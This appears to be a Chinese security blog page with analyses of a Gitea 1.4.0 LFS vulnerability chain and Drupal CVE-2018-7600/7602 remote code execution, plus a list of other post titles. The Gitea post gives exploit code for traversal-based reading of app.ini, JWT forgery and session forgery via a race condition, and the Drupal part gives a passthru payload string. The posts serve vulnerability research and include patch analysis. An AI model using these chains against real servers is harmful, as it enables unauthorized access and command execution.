Git 大文件存储（Large File Storage，简称LFS）目的是更好地把大型二进制文件，比如音频文件、数据集、图像和视频等集成到 Git 的工作流中。我们知道，Git 存储二进制效率不高，因为它会压缩并存储二进制文件的所有完整版本，随着版本的不断增长以及二进制文件越来越多，这种存储方案并不是最优方案。而 LFS 处理大型二进制文件的方式是用文本指针替换它们，这些文本指针实际上是包含二进制文件信息的文本文件。文本指针存储在 Git 中，而大文件本身通过HTTPS托管在Git LFS服务器上。

本次漏洞是出现在Gitea的LFS处理逻辑中，在进行权限验证的时候少了一行return语句，以至于即使在401 Unauthorized的时候依旧能够进行后续的操作，这是整个漏洞的导火索。

0x01 环境搭建

使用docker搭建漏洞环境，Gitea版本1.4.0

https://docs.gitea.io/en-us/install-with-docker/

docker-compose.yml

version: "2"

networks:
  gitea:
    external: false

services:
  server:
    image: gitea/gitea:1.4.0
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always
    networks:
      - gitea
    volumes:
      - ./gitea:/data
    ports:
      - "3000:3000"
      - "222:22"
    depends_on:
      - db

  db:
    image: mysql:5.7
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=gitea
      - MYSQL_USER=gitea
      - MYSQL_PASSWORD=gitea
      - MYSQL_DATABASE=gitea
    networks:
      - gitea
    volumes:
      - ./mysql:/var/lib/mysql
    ports:
      - "3306:3306"

安装时指定mysql连接需要vps_ip:3306，使用localhost:3306一直提示错误

0x02 逻辑漏洞

https://github.com/go-gitea/gitea/blob/v1.4.0/modules/lfs/server.go#L218

// PostHandler instructs the client how to upload data
func PostHandler(ctx *context.Context) {
    //...
    if !authenticate(ctx, repository, rv.Authorization, true) {
		requireAuth(ctx)
	}
	//...
}
func requireAuth(ctx *context.Context) {
	ctx.Resp.Header().Set("WWW-Authenticate", "Basic realm=gitea-lfs")
	writeStatus(ctx, 401)
}

问题出在PostHandler()方法，该方法的作用是创建一个新的LFS对象。在requireAuth处，如果权限验证失败，则执行requireAuth ()，返回401认证失败，关键是requireAuth(ctx)结束之后没有return，也就是说虽然返回401但是不影响后面的逻辑接着执行，因此可以创建任意LFS对象，此处存在一个权限绕过漏洞。

0x03 目录穿越&任意文件读取

参考文档 https://github.com/git-lfs/git-lfs/blob/master/docs/api/batch.md

// Get takes a Meta object and retrieves the content from the store, returning
// it as an io.Reader. If fromByte > 0, the reader starts from that byte
func (s *ContentStore) Get(meta *models.LFSMetaObject, fromByte int64) (io.ReadCloser, error) {
	path := filepath.Join(s.BasePath, transformKey(meta.Oid))

	f, err := os.Open(path)
	if err != nil {
		return nil, err
	}
	if fromByte > 0 {
		_, err = f.Seek(fromByte, os.SEEK_CUR)
	}
	return f, err
}

从lfs下载文件接口是modules/lfs/content_store.go:Get()方法，从meta.Oid取路径去读取，这个路径处理函数是transformKey()

func transformKey(key string) string {
	if len(key) < 5 {
		return key
	}

	return filepath.Join(key[0:2], key[2:4], key[4:])
}

可以看到transformKey()方法是把key参数做了三次分割，先取两个字符，加上/，然后再取两个，再加上/，最后拼接后面部分，举例说明：

abcdefgh -> ab/cd/efgh

于是此处就可以构造..../etc/passwd的格式，经过transformKey()后被转换成../../etc/passwd，这样就存在一个任意文件读取漏洞。

在Gitea中有一个关键配置文件app.ini，其中记录了默认配置信息，包括数据库连接密码，一些路径和token，以及LFS 认证密钥，该密钥用来加密JWT认证

配置项更详细信息可以参考文档

当前环境中app.ini位置在/data/gitea/conf/app.ini，所以需要构造....gitea/conf/app.ini，经过处理变成/data/gitea/lfs/../../gitea/conf/app.ini，也就是/data/gitea/conf/app.ini，这样就能读取到配置文件，注意需要对/进行url编码

访问LFS存储对象的接口是https://git-server.com/foo/bar.git/info/lfs/objects/batch

由此我们获取到了LFS_JWT_SECRET

0x04 构造Authorization

LFS接口认证过程使用了JWT或Basic认证，官网介绍JWT：

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.

Although JWTs can be encrypted to also provide secrecy between parties, we will focus on signed tokens. Signed tokens can verify the integrity of the claims contained within it, while encrypted tokens hide those claims from other parties. When tokens are signed using public/private key pairs, the signature also certifies that only the party holding the private key is the one that signed it.

所以我们一旦获得了LFS_JWT_SECRET，就可以自己构造JWT认证，从而在不知道管理员账户密码的情况下取得LFS的完整控制权。

在modules/lfs/server.go定义了LFS接口认证登录的方法：

func parseToken(authorization string) (*models.User, *models.Repository, string, error) {
	if authorization == "" {
		return nil, nil, "unknown", fmt.Errorf("No token")
	}
	if strings.HasPrefix(authorization, "Bearer ") {
		token, err := jwt.Parse(authorization[7:], func(t *jwt.Token) (interface{}, error) {
			if _, ok := t.Method.(*jwt.SigningMethodHMAC); !ok {
				return nil, fmt.Errorf("unexpected signing method: %v", t.Header["alg"])
			}
			return setting.LFS.JWTSecretBytes, nil
		})
		if err != nil {
			return nil, nil, "unknown", err
		}
		claims, claimsOk := token.Claims.(jwt.MapClaims)
		if !token.Valid || !claimsOk {
			return nil, nil, "unknown", fmt.Errorf("Token claim invalid")
		}
		opStr, ok := claims["op"].(string)
		if !ok {
			return nil, nil, "unknown", fmt.Errorf("Token operation invalid")
		}
		repoID, ok := claims["repo"].(float64)
		if !ok {
			return nil, nil, opStr, fmt.Errorf("Token repository id invalid")
		}
		r, err := models.GetRepositoryByID(int64(repoID))
		if err != nil {
			return nil, nil, opStr, err
		}
		userID, ok := claims["user"].(float64)
		if !ok {
			return nil, r, opStr, fmt.Errorf("Token user id invalid")
		}
		u, err := models.GetUserByID(int64(userID))
		if err != nil {
			return nil, r, opStr, err
		}
		return u, r, opStr, nil
	}
    if strings.HasPrefix(authorization, "Basic ") {
        //...
    }
    return nil, nil, "unknown", fmt.Errorf("Token not found")
}

可以看到构成JWT的payload部分需要包含这么几个字段：

{
  "user": 1,
  "repo": 1,
  "op": "upload",
  "nbf": 1445408221,
  "exp": 1618208221
}

分别是用户id，LFS项目id，LFS操作，以及HTTPAuth有效时间

我们在JWT debugger页面测试生成一段Auth Token，填入payload和上一步获取到的LFS_JWT_SECRET，于是得到了LFS认证的Authorization

0x05 伪造session绕过登录

在modules/lfs/server.go 定义了LFS中的路由接口

// ObjectOidHandler is the main request routing entry point into LFS server functions
func ObjectOidHandler(ctx *context.Context) {
	if !setting.LFS.StartServer {
		writeStatus(ctx, 404)
		return
	}
	if ctx.Req.Method == "GET" || ctx.Req.Method == "HEAD" {
		if MetaMatcher(ctx.Req) {
			getMetaHandler(ctx)
			return
		}
		if ContentMatcher(ctx.Req) || len(ctx.Params("filename")) > 0 {
			getContentHandler(ctx)
			return
		}
	} else if ctx.Req.Method == "PUT" && ContentMatcher(ctx.Req) {
		PutHandler(ctx)
		return
	}
}

其中写入文件接口是在PutHandler()，需要使用PUT方法。跟入Put()看一下

// Put takes a Meta object and an io.Reader and writes the content to the store.
func (s *ContentStore) Put(meta *models.LFSMetaObject, r io.Reader) error {
	path := filepath.Join(s.BasePath, transformKey(meta.Oid))
	tmpPath := path + ".tmp"

	dir := filepath.Dir(path)
	if err := os.MkdirAll(dir, 0750); err != nil {
		return err
	}

	file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY|os.O_EXCL, 0640)
	if err != nil {
		return err
	}
	defer os.Remove(tmpPath)

	hash := sha256.New()
	hw := io.MultiWriter(hash, file)

	written, err := io.Copy(hw, r)
	if err != nil {
		file.Close()
		return err
	}
	file.Close()

	if written != meta.Size {
		return errSizeMismatch
	}

	shaStr := hex.EncodeToString(hash.Sum(nil))
	if shaStr != meta.Oid {
		return errHashMismatch
	}

	return os.Rename(tmpPath, path)
}

可以看到该方法主要是先创建临时文件，以.tmp结尾，然后对文件进行了一系列校验，包括文件大小和Oid信息，两者如果任一不匹配的话就写入失败，同时删除临时文件。注意这行语句

defer os.Remove(tmpPath)

defer用于资源的释放，会在函数返回之前进行调用。

也就是说不管函数是否返回错误，结束时都会删除临时文件。

这时就要考虑两点：

在文件被删除之前利用；
如何利用后缀为.tmp的文件；

先考虑第一个问题，在文件被删除之前访问到这个文件。这种情况让我们想到在上传webshell时可以利用的条件竞争漏洞，在文件被删除之前使用多线程并发访问，利用时间差访问到上传文件然后生成shell。但是这个方法在此处不适用，根据作者想出的办法，利用Content-Length字段，该字段告诉服务器该请求需要发送多少长度的数据，在传输完成之前服务器会处于一直等待阶段。假设我们设置了一个超长的Content-Length，服务器就会认为数据还没有传输完成便挂起等待，这个时间段内我们就可以访问到上传的文件。

接着考虑第二个问题，如何利用.tmp文件？

在Gitea可以配置存储session的方式，默认是保存为文件，存储路径在/data/gitea/sessions。

//app.ini
[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER        = file

于是我们可以想到把上面生成的session内容写入到一个.tmp文件，并保存在session目录下，这个tmp文件名即为sessionid，然后利用条件竞争，在文件未被删除之前带上这个sessionid，就可以登录成功。

Gitea使用的session模块是go-macaron/session，在file.go可以看到几个关键的方法

// Release releases resource and save data to provider.
func (s *FileStore) Release() error {
	s.p.lock.Lock()
	defer s.p.lock.Unlock()

	data, err := EncodeGob(s.data)
	if err != nil {
		return err
	}

	return ioutil.WriteFile(s.p.filepath(s.sid), data, os.ModePerm)
}

调用了EncodeGob()方法

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
	for _, v := range obj {
		gob.Register(v)
	}
	buf := bytes.NewBuffer(nil)
	err := gob.NewEncoder(buf).Encode(obj)
	return buf.Bytes(), err
}

然后写入文件

func (p *FileProvider) filepath(sid string) string {
	return path.Join(p.rootPath, string(sid[0]), string(sid[1]), sid)
}

可以看到session的生成是通过特有的Gob序列化后保存成文件，路径特点是sid[0]/sid[1]/sid

我们来分析一个认证成功的session/data/gitea/sessions/0/9/09cfb25c946d6187，前两位为路径名，后面为sid，共同组成一个session文件

我们使用相应的DecodeGob()方法(vendor/github.com/go-macaron/session/utils.go:47)来解开看一下session里包含的内容，其中session_data即是session文件的hex内容。代码如下

package main

import (
	"encoding/gob"
	"encoding/hex"
	"fmt"
	"bytes"
)

func DecodeGob(encoded []byte) (out map[interface{}]interface{}, err error) {
	buf := bytes.NewBuffer(encoded)
	err = gob.NewDecoder(buf).Decode(&out)
	return out, err
}

func main() {
	session_data := "0EFF81040102...03000131"	//太长省略
	buf, err := hex.DecodeString(session_data)
	fmt.Println(buf)
	if err != nil {
		fmt.Println(err)
	}
	decode_data, err := DecodeGob(buf)
	if err != nil {
		fmt.Println(err)
	}
	fmt.Println(decode_data)
}

运行结果：

可以看到主要是以_old_iod uid uname三个值组成的session内容，那么我们就可以构造一组这样的值来伪造一个session

[uid:1 uname:admin123 _old_uid:1]

生成session使用EncodeGob()方法：

package main

import (
	"encoding/gob"
	"encoding/hex"
	"fmt"
	"bytes"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
	for _, v := range obj {
		gob.Register(v)
	}
	buf := bytes.NewBuffer(nil)
	err := gob.NewEncoder(buf).Encode(obj)
	return buf.Bytes(), err
}

func main() {
	//var uid = 1
	//uname := "admin123"
	obj := map[interface{}]interface{}{"_old_iod": "1", "uid": 1, "uname": "admin123"}
	buf, err := EncodeGob(obj)
	if err != nil {
		fmt.Println(err)
	}
	fmt.Println(buf)
	encode_data := hex.EncodeToString(buf)
	fmt.Println(encode_data)
}

运行之后生成一个hex序列

这段序列里就包含了session信息，包括 _old_iod uid uname，然后我们可以利用这个伪造的session成功登录

0x06 漏洞利用

1. 读取`app.ini`，获得`LFS_JWT_SECRET`

2. 针对`session`文件名创建`LFS`对象

def create_lfs_object(session):
    oid = '....gitea/sessions/1/1/11session'
    data = {
        "Oid": oid,
        "Size": 1000,
        "User": "a",
        "Password": "a",
        "Repo": "a",
        "Authorization": "a"
    }

    url = '%s.git/info/lfs/objects' % (GIT_URL)
    response = session.post(
        url,
        json=data,
        headers={
            'Accept': 'application/vnd.git-lfs+json'
        }
    )
    logging.info(response.text)

3. 生成`Authorization`

4. 生成`session`数据

5. 写入`session`数据

def write_session(session):
    oid = '....gitea/sessions/1/1/11session'
    url = '%s.git/info/lfs/objects/%s' % (GIT_URL, urllib.quote(oid, safe=''))
    print url
    response = session.put(url, data=gen_data(), headers={
        'Accept': 'application/vnd.git-lfs',
        'Content-Type': 'application/vnd.git-lfs',
        'Authorization': 'Bearer ' + AUTH_TOKEN
    })
    logging.info(response.text)

其中gen_data()使用生成器来延迟响应时间，在这段时间内.tmp文件未被删除

def gen_data():
    yield SESSION_DATA
    time.sleep(300)

HEX_DATA是生成的session数据

HEX_DATA = '0eff81040102ff8...d696e313233'	//hex_data
SESSION_DATA = HEX_DATA.decode('hex')

6. 修改Session

后续利用Git Hooks自动执行命令就不多说了

0x07 补丁分析

https://github.com/go-gitea/gitea/pull/3871/commits/61d86164b7a81cf478b28ed3ffd9aa83d33116d9

分析补丁主要做了三块工作：

首先把缺少的return给补上了
限定了oid参数值必须符合sha256格式，如果查询的oid不存在则返回404，这样我们就无法指定任意oid值

然后使用path.Clean()方法过滤多余的.和/，限制repo里不能出现.和/字符

0x08 总结

该漏洞利用非常巧妙，由一处缺少的return层层深入，从权限绕过到文件读取，从伪造session到条件竞争，到最后的远程代码执行，一条漏洞链就串起来了，可谓十分精彩，也从侧面反映了一处小疏忽也会导致严重的后果。

参考：

https://security.szurek.pl/gitea-1-4-0-unauthenticated-rce.html

https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html

CVE-2018-7602 Drupal 内核远程代码执行漏洞分析

Thu, 26 Apr 2018 17:21:11 +0000

0x01 概述

4月25日，Drupal官方发布通告，Drupal Core 存在一个远程代码执行漏洞，影响 7.x 和 8.x 版本。据分析，这个漏洞是CVE-2018-7600的绕过利用，两个漏洞原理是一样的，通告还称，已经发现了这个漏洞和CVE-2018-7600的在野利用，详情请看 https://www.drupal.org/sa-core-2018-004

0x02 影响版本

Drupal 6.x，7.x，8.x

修复版本 Drupal 7.59，Drupal 8.4.8，Drupal 8.5.3

0x03 环境搭建

历史版本 https://www.drupal.org/project/drupal/releases

0x04 漏洞分析

分析还是以7.57版本为例。跟7600漏洞的7.x版本很相似，只不过入口不一样，可以参考http://blog.nsfocus.net/cve-2018-7600-drupal-7-x/

上回漏洞的关键点是让系统缓存一个form_build_id，这个form存着我们传入的恶意参数，第二个请求从中取出来然后执行。这次的原理还是一样，触发漏洞还是需要发两个post包，一个存入form_build_id一个取出后执行。

这次的问题出在删除文章的时候，因此需要文章删除权限，我们先走一遍正常删除文章的逻辑

请求中每个node即代表一篇文章。可以看到是会重定向到文章页面的，根据上个漏洞的分析我们猜测，一定还是走到了drupal_redirect_form()，我们已经知道如果走到drupal_redirect_form()分支，是不会往数据库缓存form_build_id的，我们的目的还是让程序不满足一定条件从而不进行表单提交后重定向，所以还是跟着CVE-2018-7600的套路来走

从代码层面看一下

之前的流程还是一样，直接跳到drupal_build_form()方法第386行

drupal_process_form($form_id, $form, $form_state);

跟入drupal_process_form()

还是一样，$form_state['submitted']被设置为true

回到902行

if ($form_state['submitted'] && !form_get_errors() && !$form_state['rebuild']) 条件被满足，进入这个分支便会执行drupal_redirect_form()

而在这一步之前需要经过的判断是_form_element_triggered_scripted_submission() 所以回到一开始的问题，构造一个_triggering_element_value使得键值对相等，从而不进行rebuild

我们传入_triggering_element_name=form_id

可以看到条件被满足，$form_state['submitted']没有被设置为true，还是保持默认值false

进入drupal_rebuild_form()

表单被缓存

然后我们发送第二个post包来取出我们构造好的form，向file/ajax/actions/cancel/%23options/path发起请求

参数传递进去

最终还是跟入到 $output = drupal_render($form); 根据前几次的经验，我们还是选择'#post_render'参数，

假如我们能控制这个参数，在drupal_render()方法里就会把这个参数作为$function函数名，而传给它的参数则是[%23markup]

所以问题回到了一开始，我们需要传递什么样的恶意参数，可以让系统直接接收而不经过过滤，还是之前的套路，搜索module下删除文章的相关操作

可以看到node_form_delete_submit()方法从get方法直接接收参数destination，与最初分析正常删除文章的参数正是同一个，那么我们就可以利用destination传进恶意参数

构造如下 destination=a?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=dir

注意此处需要转义百分号，对#进行二次编码，以绕过CVE-2018-7600的补丁，不然在取值时会被认为q[是一个值

原因： includes/common.inc的drupal_parse_url()方法对url进行了解析，而在url传入到Drupal内部的时候已经经过一层解码，也就是说

destination=a?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=dir

在进入Drupal时已经被解码成

destination=a?q[%23post_render][]=passthru%26q[%23type]=markup%26q[%23markup]=dir

然后经过parse_url()方法对url结构进行解析

a参数是次要的，主要是q参数，因为在drupal_parse_url()下半部分从q取出值赋给$options['path']，也就是a被覆盖了，这个时候的$options['path']就是我们传入的数组

参数缓存进整个form后通过第二个请求取出，同样经过

foreach ($form_parents as $parent) {
    $form = $form[$parent];
  }

遍历叶子节点取出参数

进入drupal_render()执行

0x05 PoC

略

0x06 补丁

7.x的补丁

https://github.com/drupal/drupal/commit/080daa38f265ea28444c540832509a48861587d0

其中一个重要操作就是对destination参数进行了净化

0x07 总结

总的来说这个漏洞是CVE-2018-7600的另一个利用点，只是入口方式不一样，最终执行点还是相同的，所以还是那句话，一旦参数可控并且没有经过正确的过滤，就很有可能出问题。

CVE-2018-7600 Drupal 7.x 版本代码执行漏洞分析

Fri, 20 Apr 2018 23:05:34 +0000

0x01 概述

CVE-2018-7600影响范围包括了Drupal 6.x，7.x，8.x版本，前几天8.x版本的PoC出来之后大家都赶紧分析了一波，然后热度似乎慢慢退去了。两天前Drupalgeddon2项目更新了7.x版本的exp，实际环境也出现了利用，下面就简单来看一下

看到项目上这样写

Drupal < 7.58 ~ user/password URL, attacking triggering_element_name form & #post_render parameter, using PHP’s passthru function

提示了问题出在user/password路径下，通过#post_render传递恶意参数，问题出现在triggering_element_name表单处理下

0x02 漏洞分析

我们从三个问题入手，为什么PoC发了两个包，第二次请求为什么要带上一个form_build_id，以及为什么选择user/password这个入口

先分析第一个post，照例还是先看一下Drupal 7的表单处理流程，跟8版本不太一样，但是入口还是相似的。根据文档描述，当我们提交一个表单(例如找回密码)时，系统会通过form_builder()方法创建一个form 一系列预处理后，会由drupal_build_form ()方法创建一个表单，在第386行调用drupal_process_form()方法，跟进drupal_process_form()方法，这时候默认的$form_state['submitted']为false

不满足if条件，$form_state['submitted']被设置为true

于是进入这个分支，最终被drupal_redirect_form重定向

我们的目的是要让系统缓存一个form_build_id，以便后面拿出来用。要想form被缓存，就得想办法让if ($form_state['submitted'] && !form_get_errors() && !$form_state['rebuild'])不成立，也就是说要使$form_state['submitted']为false 从而进入下面的drupal_rebuild_form

那么如何让$form_state['submitted']为false呢？

在includes/form.inc第886行 $form = form_builder($form_id, $form, $form_state); 跟进form_builder方法，第1987行

if (!empty($form_state['triggering_element']['#executes_submit_callback'])) {
  $form_state['submitted'] = TRUE;
}

当$form_state['triggering_element']['#executes_submit_callback']存在值的时候就为true，那么我们就想办法让这个值为空往上看第1972行

if (!$form_state['programmed'] && !isset($form_state['triggering_element']) && !empty($form_state['buttons'])) {
  $form_state['triggering_element'] = $form_state['buttons'][0];
}

如果没有设置$form_state['triggering_element']，那么$form_state['triggering_element']就设置为第一个button的值，所以正常传递表单的时候$form_state['triggering_element']['#executes_submit_callback']就总会有值

现在问题来了，如何构造一个form能够确保$form_state['triggering_element']['#executes_submit_callback']为空或者说不存在这个数组呢？

我们注意到第1864行

if (!empty($element['#input'])) {
  _form_builder_handle_input_element($form_id, $element, $form_state);
}

_form_builder_handle_input_element()方法对表单先进行了处理，跟进去看一下

第2144行

// Determine which element (if any) triggered the submission of the form and
// keep track of all the clickable buttons in the form for
// form_state_values_clean(). Enforce the same input processing restrictions
// as above.
if ($process_input) {
  // Detect if the element triggered the submission via Ajax.
  if (_form_element_triggered_scripted_submission($element, $form_state)) {
    $form_state['triggering_element'] = $element;
  }

这里$form_state['triggering_element']被设置为$element，前提是满足_form_element_triggered_scripted_submission()方法，继续跟入第2180行

function _form_element_triggered_scripted_submission($element, &$form_state) {
  if (!empty($form_state['input']['_triggering_element_name']) && $element['#name'] == $form_state['input']['_triggering_element_name']) {
    if (empty($form_state['input']['_triggering_element_value']) || $form_state['input']['_triggering_element_value'] == $element['#value']) {
      return TRUE;
    }
  }
  return FALSE;
}

这个方法的意思是说如果_triggering_element_value和$element的键值都相等的话，返回true $form_state['triggering_element']赋值为$element，其中不含['#executes_submit_callback']，一开始的条件就成立了

根据PoC，我们传入_triggering_element_name=name

看到进入这个分支，进入form_set_cache()方法

数据库中插入缓存form_build_id

成功写入缓存

接下去来看一下这个缓存有什么用

分析PoC的第二个包，请求参数是这样q=file/ajax/name/%23value/form_build_id form_build_id即我们上一个写入数据库的缓存表单

首先请求会进入includes/menu.inc的menu_get_item()方法，

function menu_get_item($path = NULL, $router_item = NULL) {
  $router_items = &drupal_static(__FUNCTION__);
  if (!isset($path)) {
    $path = $_GET['q'];
  }
  if (isset($router_item)) {
    $router_items[$path] = $router_item;
  }
  if (!isset($router_items[$path])) {
    // Rebuild if we know it's needed, or if the menu masks are missing which
    // occurs rarely, likely due to a race condition of multiple rebuilds.
    if (variable_get('menu_rebuild_needed', FALSE) || !variable_get('menu_masks', array())) {
      if (_menu_check_rebuild()) {
        menu_rebuild();
      }
    }
    $original_map = arg(NULL, $path);

    $parts = array_slice($original_map, 0, MENU_MAX_PARTS);
    $ancestors = menu_get_ancestors($parts);
    $router_item = db_query_range('SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC', 0, 1, array(':ancestors' => $ancestors))->fetchAssoc();

    if ($router_item) {
      // Allow modules to alter the router item before it is translated and
      // checked for access.
      drupal_alter('menu_get_item', $router_item, $path, $original_map);

      $map = _menu_translate($router_item, $original_map);
      $router_item['original_map'] = $original_map;
      if ($map === FALSE) {
        $router_items[$path] = FALSE;
        return FALSE;
      }
      if ($router_item['access']) {
        $router_item['map'] = $map;
        $router_item['page_arguments'] = array_merge(menu_unserialize($router_item['page_arguments'], $map), array_slice($map, $router_item['number_parts']));
        $router_item['theme_arguments'] = array_merge(menu_unserialize($router_item['theme_arguments'], $map), array_slice($map, $router_item['number_parts']));
      }
    }
    $router_items[$path] = $router_item;
  }
  return $router_items[$path];
}

$path即我们传进去的q参数，经过一系列处理传给menu_get_ancestors()方法，该方法把path重新组合成一堆router，也就是Drupal处理路由到具体url的传参方式，最终被db_query_range()带入数据库查询我们关注查询结果$router_item的page_callback值，因为这个值最终会作为参数被带入call_user_func_array()

if ($page_callback_result == MENU_SITE_ONLINE) {
  if ($router_item = menu_get_item($path)) {
    if ($router_item['access']) {
      if ($router_item['include_file']) {
        require_once DRUPAL_ROOT . '/' . $router_item['include_file'];
      }
      $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
    }
    else {
      $page_callback_result = MENU_ACCESS_DENIED;
    }
  }
  else {
    $page_callback_result = MENU_NOT_FOUND;
  }
}

到这里就跟8版本的情况有点类似了

跟入回调函数file_ajax_upload()

还是一样，把$form_parents完整取出赋值给$form，加上一些前缀后缀后最终进入drupal_render()方法

最终得到执行

到目前为止我们分析清楚了为什么PoC要发两次包，以及第二次请求为什么要带上一个form_build_id，现在来想一想为什么要请求user/password这个路径呢？在user这个module下的user_pass()方法

function user_pass() {
  global $user;

  $form['name'] = array(
    '#type' => 'textfield',
    '#title' => t('Username or e-mail address'),
    '#size' => 60,
    '#maxlength' => max(USERNAME_MAX_LENGTH, EMAIL_MAX_LENGTH),
    '#required' => TRUE,
    '#default_value' => isset($_GET['name']) ? $_GET['name'] : '',
  );
  ...
  return $form;

看到这里是不是感觉跟8版本很相似，#default_value从get的name参数里取值，而name可以作为数组传入，它的属性在下面正好可以被利用，一个巧妙的利用链就串起来了。

0x03 总结

Drupal 7.x的利用比8.x要复杂一些，但触发点和一开始的风险因素还是类似的，一是接收参数过滤不当，而是可控参数进入危险方法。官方补丁把入口处的#全给过滤了，简单粗暴又有效，估计再利用框架本身的特性想传递进一些数组或元素就很难了。

0x04 参考

CVE-2018-7600 Drupal 内核远程代码执行漏洞分析

Fri, 13 Apr 2018 23:05:34 +0000

0x01 概述

https://www.drupal.org/sa-core-2018-002

0x02 影响版本

Drupal 6.x，7.x，8.x

修复版本 Drupal 7.58，Drupal 8.5.1

0x03 环境搭建

历史版本 https://www.drupal.org/project/drupal/releases

0x04 流程梳理

先来理清一下Drupal处理表单的情况。更详细的可以看文档

Drupal提供了一个应用程序接口（API），用来生成、验证和处理HTML表单。表单API将表单抽象为一个嵌套数组，里面包含了属性和值。在生成页面时，表单呈现引擎会在适当的时候将数组呈现出来。

模块使用关联数组向Drupal描述表单。Drupal的表单引擎负责为要显示的表单生成HTML，并使用三个阶段来安全的处理提交了的表单：验证、提交、重定向。

Drupal比较特殊，它不像大部分cms通过html直接渲染页面，而是把接收的数据交给core/lib/Drupal/Core/Form/FormBuilder.php的buildForm()方法处理，buildForm()经过处理后返回一个结构体(数组)，数组通过引擎生成HTML。

当我们提交一个表单(例如注册页面)，buildForm()方法会根据$form_id取出数据，经过一系列处理后返回一个树形结构，这个结构就是通过数组存储的，就是我们看到的类似[$current_file_count]['#attributes']['class'][]的结构，数组每个元素作为一个叶子节点，后续就把整个form结构渲染出页面。

当我们在注册页面上传一张图片的时候，form结构被传给core/modules/file/src/Element/ManagedFile.php的uploadAjaxCallback()方法，这个方法用来处理上传文件的情况

 public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
    /** @var \Drupal\Core\Render\RendererInterface $renderer */
    $renderer = \Drupal::service('renderer');

    $form_parents = explode('/', $request->query->get('element_parents'));

    // Retrieve the element to be rendered.
    $form = NestedArray::getValue($form, $form_parents);

    // Add the special AJAX class if a new file was added.
    $current_file_count = $form_state->get('file_upload_delta_initial');
    if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
      $form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
    }
    // Otherwise just add the new content class on a placeholder.
    else {
      $form['#suffix'] .= '<span class="ajax-new-content"></span>';
    }

    $status_messages = ['#type' => 'status_messages'];
    $form['#prefix'] .= $renderer->renderRoot($status_messages);
    $output = $renderer->renderRoot($form);

    $response = new AjaxResponse();
    $response->setAttachments($form['#attached']);

    return $response->addCommand(new ReplaceCommand(NULL, $output));
  }

问题就出现在$request->query->get('element_parents')这个地方，$form_parents父节点的值是从get()取出element_parents参数传进去的，进入下面的NestedArray::getValue()方法，getValue()的作用是接收一个节点，把这个节点下的叶子节点全部遍历出来，再根据叶子节点的key-value值进行后续操作。

按理说这样的功能很正常，关键就在于这个element_parents正是我们可以控制的，也就是说我们可以指定uploadAjaxCallback()渲染我们给它的参数，而这个参数可以是恶意的。

0x05 漏洞分析

那么我们传进去什么参数呢？我们先来测试一下，正常注册流程，mail参数传进去一个数组的话会怎么样

可以看到我们构造的“子节点”被存储在mail-value下，如果要取出这个值就得让上面提到的getValue()接收这个参数，所以我们构造element_parents=account/name/%23value，这样子getValue()就会遍历出我们构造的参数

现在参数已经能够传进去了，那么在哪里执行呢？继续往下跟

$current_file_count = $form_state->get('file_upload_delta_initial');
if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
	$form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
}
// Otherwise just add the new content class on a placeholder.
else {
	$form['#suffix'] .= '<span class="ajax-new-content"></span>';
}

$status_messages = ['#type' => 'status_messages'];
$form['#prefix'] .= $renderer->renderRoot($status_messages);
$output = $renderer->renderRoot($form);

可以看到经过getValue()遍历出来的叶子节点(就是此时的form)被传进$renderer->renderRoot()方法，跟进去看一下

core/lib/Drupal/Core/Render/Renderer.php

  public function render(&$elements, $is_root_call = FALSE) {
...
    try {
      return $this->doRender($elements, $is_root_call);
    }
    catch (\Exception $e) {
      // Mark the ::rootRender() call finished due to this exception & re-throw.
      $this->isRenderingRoot = FALSE;
      throw $e;
    }
  }

调用doRender()方法

这个方法比较长，但是我们从中找到了几处执行call_user_func()的地方，先看一下第三处

if (isset($elements['#post_render'])) {
    foreach ($elements['#post_render'] as $callable) {
        if (is_string($callable) && strpos($callable, '::') === FALSE) {
            $callable = $this->controllerResolver->getControllerFromDefinition($callable);
        }
        $elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
    }
}

接收的第一个参数$elements['#post_render']作为函数，第二个参数$elements['#children']作为参数，在上面被赋值

if (!$theme_is_implemented && isset($elements['#markup'])) {
    $elements['#children'] = Markup::create($elements['#markup'] . $elements['#children']);
}

这两个参数都是我们可控的，于是造成一个代码执行

回头看一下这处call_user_func_array，这里的$callable和$args两个参数实际上也是可控的，通过#lazy_builder属性传进来，checkpoint的分析报告正是分析了这个地方

0x06 总结

关注这个漏洞也是好长时间了，当时粗略看了一下，因为补丁直接对入口进行了过滤，要找到真正触发的地方太难了，所以也迟迟不见PoC出来。checkpoint的分析报告出来后好好跟了一遍，不得不感叹人家真厉害(逃…

这个漏洞关键点有两个，一个是uploadAjaxCallback里$form_parents由get直接传进参数，这里就存在风险；另一处call_user_func两个参数均可控，两者结合造成一个严重的远程代码执行漏洞，看分析报告如何一步步构造利用链，可谓是十分精彩了。

Vul on 诗与胡说

Apache Solr Velocity模板注入漏洞分析

0x01 概述

0x02 环境搭建

0x03 前置概念

0x04 漏洞分析

设置params.resource.loader.enabled属性

注入自定义模板

CVE-2019-0193 Apache Solr远程命令执行漏洞分析

0x01 概述

0x02 环境搭建

0x03 前置概念

0x04 漏洞分析

0x05 补充

SA-CORE-2019-008 Drupal访问绕过漏洞分析

0x01 概述

0x02 受影响的版本

0x03 漏洞复现

0x04 漏洞分析

Workspaces的功能

漏洞分析

0x05 总结

